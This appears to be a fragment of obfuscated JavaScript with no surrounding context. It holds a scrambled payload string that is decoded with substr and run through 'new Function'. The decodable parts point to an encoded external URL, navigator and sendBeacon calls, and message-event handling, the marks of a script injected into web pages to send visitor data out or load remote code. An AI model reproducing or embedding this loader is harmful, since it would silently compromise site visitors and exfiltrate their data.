280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();